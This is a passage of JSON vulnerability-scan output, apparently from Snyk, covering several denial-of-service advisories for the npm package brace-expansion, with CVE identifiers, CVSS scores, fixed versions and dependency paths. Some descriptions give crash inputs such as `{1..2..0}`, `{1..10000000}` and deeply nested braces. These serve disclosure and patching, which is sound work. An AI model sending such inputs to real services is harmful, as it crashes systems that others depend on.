not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", 